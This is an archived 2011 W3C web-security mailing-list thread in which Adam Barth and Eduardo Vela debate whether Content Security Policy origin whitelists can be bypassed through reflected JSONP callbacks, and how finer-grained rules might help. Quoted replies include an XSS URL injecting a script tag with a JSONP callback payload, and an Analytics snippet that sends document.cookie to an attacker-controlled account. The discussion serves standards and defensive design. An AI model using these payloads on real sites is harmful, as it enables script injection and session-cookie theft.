W3C home > Mailing lists > Public > public-web-security@w3.org > May 2011

Re: CSP and jsonp callbacks

From: Adam Barth <w3c@adambarth.com>
Date: Mon, 30 May 2011 15:24:44 -0700
Message-ID: <BANLkTima0-gt534c2=PSTDQGZyHCQnzEsA@mail.gmail.com>
To: "sird@rckc.at" <sird@rckc.at>
Cc: public-web-security@w3.org, masatokinugawa@gmail.com
On Mon, May 30, 2011 at 2:37 PM, sird@rckc.at <sird@rckc.at> wrote:
> So you are saying a site using CSP should never include third party
> scripts (eg. analytics, tynt, etc..).

Including third-party content in your site is a risk.  I'm not saying
you shouldn't ever do it.  I'm saying that it comes with risks.

> Analytics for instance, creates the script dynamically, so you can't
> just add a nonce to the script, you have to add it to the generated
> script. Adsense is another thing, they might include scripts from even
> more origins, and those are inserted by the remote script so it's
> impossible to add nonces to them.

Well, at least until Adsense adds support for CSP.  These things all
become easier when the third-party cooperates.

> So if you want to use adsense, you can't use CSP.

I haven't tried, but my guess is that's true today.

> Also, if you want to use the AJAX APIs, or the Maps API, or the
> Libraries APIs (http://code.google.com/apis/libraries/).. all of them
> are out of reach of sites wanting to use CSP.

Correct.  CSP is not the solution to all the world's problems.

> That last example is important given that the provided code is:
> <script type="text/javascript"
> src="https://www.google.com/jsapi?key=INSERT-YOUR-KEY"></script>
>
> And that will load scripts from even more places
> (ajax.googleapis.com), which means that those scripts will simply
> never have keys.
>
> script-nonce probably isn't the best way to solve this problem, but
> being able to do:
>
> script-src: https://www.google.com/jsapi
>
> which doesn't mean that you trust
>
> https://www.google.com/reader/status?callback=pwn()

I'm not sure I followed all of that.  CSP makes it more difficult to
integrate with third parties.  If you whitelist a third party, they
can do things that screw you.  If you're worried about that, you might
want to consider whether the risk is worth the reward.

> Or is there any reason to allow access to an Origin instead of
> something more granular?

There are always use cases for more features.  The question is where
to draw the line so we can ship something.

Adam


> On Mon, May 30, 2011 at 4:28 PM, Adam Barth <w3c@adambarth.com> wrote:
>> Lots of third-party interactions are tricky with CSP.  For example,
>> it's difficult to use CSP on sites that contain advertisements because
>> those advertisements often end up including scripts from syndicates.
>>
>> I don't think being strict about Content-Type is going to solve the
>> problem.  You still have the problem today that application/javascript
>> caries no authority without CSP and does carry authority with CSP.  In
>> the specific example, we're just getting lucky that YouTube is
>> responding with application/json.  It would be entirely reasonable for
>> them to respond with application/javascript, especially because JSONP
>> isn't valid JSON.
>>
>> One alternative, of course, is to use script-nonce, which lets the
>> site whitelist individual script loads instead of blanket-allowing
>> everything from an origin.
>>
>> Adam
>>
>>
>> On Mon, May 30, 2011 at 2:20 PM, sird@rckc.at <sird@rckc.at> wrote:
>>> Right, that's the problem.
>>>
>>> And to keep the web working, with Analytics, Tynt, etc.. people will
>>> trust their site to one script in youtube.com but not to all services
>>> that live there.
>>>
>>> A possible way to mitigate this problem, is if CSP forces Content-Type
>>> to be valid (it would be weird if youtube echoe's back JSON as
>>> text/javascript), or if Mozilla can just whitelist a specific file,
>>> instead of whitelisting the whole origin.
>>>
>>> My point being, that whitelisting the whole origin and giving no more
>>> granularity is not good enough for the type of applications that are
>>> being created. If CSP accepted files, or directories it would help to
>>> mitigate this problem.
>>>
>>> eg.:
>>>
>>> script-src: http://www.youtube.com/apis/video.js
>>>
>>>
>>> or
>>>
>>> script-src: http://www.youtube.com/apis/*.js
>>>
>>>
>>> Or, otherwise, what's the alternative that we give to Mozilla? Don't
>>> use Youtube? (specially, since this is not a security problem for
>>> Youtube, maybe they wont fix it.. there's no reason for them to, and
>>> the problem is in Mozilla).
>>>
>>> Greetings
>>> -- Eduardo
>>>
>>>
>>>
>>>
>>> On Mon, May 30, 2011 at 3:12 PM, Adam Barth <w3c@adambarth.com> wrote:
>>>> Ah, I understand.  Sounds like YouTube isn't trustworthy.
>>>>
>>>> The more general problem is CSP imbues JavaScript responses with
>>>> authority, which isn't how the rest of the web works.  That means when
>>>> sites, like YouTube, have reflections in their JavaScript, folks that
>>>> trust them get in trouble.
>>>>
>>>> Adam
>>>>
>>>>
>>>> On Mon, May 30, 2011 at 11:52 AM, sird@rckc.at <sird@rckc.at> wrote:
>>>>> The XSS in mozilla is:
>>>>> http://www.mozilla.com/search?q="><script+src="http://www.youtube.com/video/export?id=1337&callback=payload(here)"></script>
>>>>>
>>>>> Youtube has a service that lets you export a video details with JSONp,
>>>>> and accepts "callback". And callback is sanitized to only have
>>>>> ([a-zA-Z_$][a-zA-Z$_0-9]+[.])+ and parenthesis.
>>>>>
>>>>> Greetings!!
>>>>> -- Eduardo
>>>>>
>>>>>
>>>>>
>>>>>
>>>>> On Mon, May 30, 2011 at 1:49 PM, Adam Barth <w3c@adambarth.com> wrote:
>>>>>> I'm sorry.  I'm not sure I follow.  How is the attacker able to run
>>>>>> the script below?  I agree that once the attacker can run script in
>>>>>> the honest site's security origin, the attacker has won.
>>>>>>
>>>>>> Adam
>>>>>>
>>>>>>
>>>>>> On Mon, May 30, 2011 at 11:36 AM, sird@rckc.at <sird@rckc.at> wrote:
>>>>>>> It's an example :P
>>>>>>>
>>>>>>> but ok, let's say the attacker uses:
>>>>>>>
>>>>>>>  var _gaq = _gaq || [];
>>>>>>>  _gaq.push(['_setAccount', 'UA-evil-1']);
>>>>>>>  _gaq.push(['_trackPageview']);
>>>>>>>  _gaq.push(['_trackEvent', 'cookies', 'add', document.cookie]);
>>>>>>>
>>>>>>> And uses google analytics to send data back to the attacker.
>>>>>>>
>>>>>>> Or let's say the attacker iframes youtube.com and loads a payload
>>>>>>> inside a gadget in youtube.
>>>>>>>
>>>>>>> Or let's say the attacker does the attack directly with XHR.
>>>>>>>
>>>>>>>
>>>>>>> -- Eduardo
>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>> On Mon, May 30, 2011 at 1:00 PM, Adam Barth <w3c@adambarth.com> wrote:
>>>>>>>> On Mon, May 30, 2011 at 10:37 AM, Eduardo Vela <sirdarckcat@gmail.com> wrote:
>>>>>>>>> Hi List.
>>>>>>>>>
>>>>>>>>> I think this issue has came up before (can't find the thread but I've
>>>>>>>>> seen it) and Masato (cc'd) brought this up to us recently.
>>>>>>>>>
>>>>>>>>> What can a CSP user do in the following case:
>>>>>>>>>
>>>>>>>>> 1. www.mozilla.org trusts scripts from www.youtube.com because they
>>>>>>>>> use one of their scripts.
>>>>>>>>> 2. Attacker is able to do
>>>>>>>>> www.youtube.com/video/export?id=1337&callback=eval(name)
>>>>>>>>
>>>>>>>> Won't that be blocked because eval is blocked?
>>>>>>>>
>>>>>>>> Adam
>>>>>>>>
>>>>>>>>
>>>>>>>>> 3. Then Mozilla isn't capable of protecting using CSP.
>>>>>>>>>
>>>>>>>>> In general, Mozilla can't realistically know all the things we put in
>>>>>>>>> www.youtube.com. If Youtube doesn't care about CSP, there's no reason
>>>>>>>>> for them to fix it. And Mozilla might not be able to mirror the script
>>>>>>>>> to their own servers because it might change at any moment, and their
>>>>>>>>> site might break.
>>>>>>>>>
>>>>>>>>> Could it be possible to whitelist specific files, instead of complete
>>>>>>>>> origins? Maybe even global expressions (e.g.
>>>>>>>>> www.youtube.com/scripts/*.js)?
>>>>>>>>> Or.. maybe Mozilla shouldn't trust Youtube at all?
>>>>>>>>> What about.. Content-Type enforcement? Force scripts allowed on a CSP
>>>>>>>>> document to have the right Content-Type.
>>>>>>>>>
>>>>>>>>> How does this apply for the use case of stats services, captcha, ads,
>>>>>>>>> etc.. which all require external scripts?
>>>>>>>>>
>>>>>>>>> I think forcing the right Content-Type for scripts might be the best
>>>>>>>>> solution, and maybe a rule to override this behavior, comments?
>>>>>>>>>
>>>>>>>>> Thanks!!
>>>>>>>>>
>>>>>>>>> -- Eduardo
>>>>>>>>>
>>>>>>>>>
>>>>>>>>
>>>>>>>
>>>>>>
>>>>>
>>>>
>>>
>>
>
Received on Monday, 30 May 2011 22:25:43 GMT

This archive was generated by hypermail 2.2.0+W3C-0.50 : Monday, 30 May 2011 22:25:44 GMT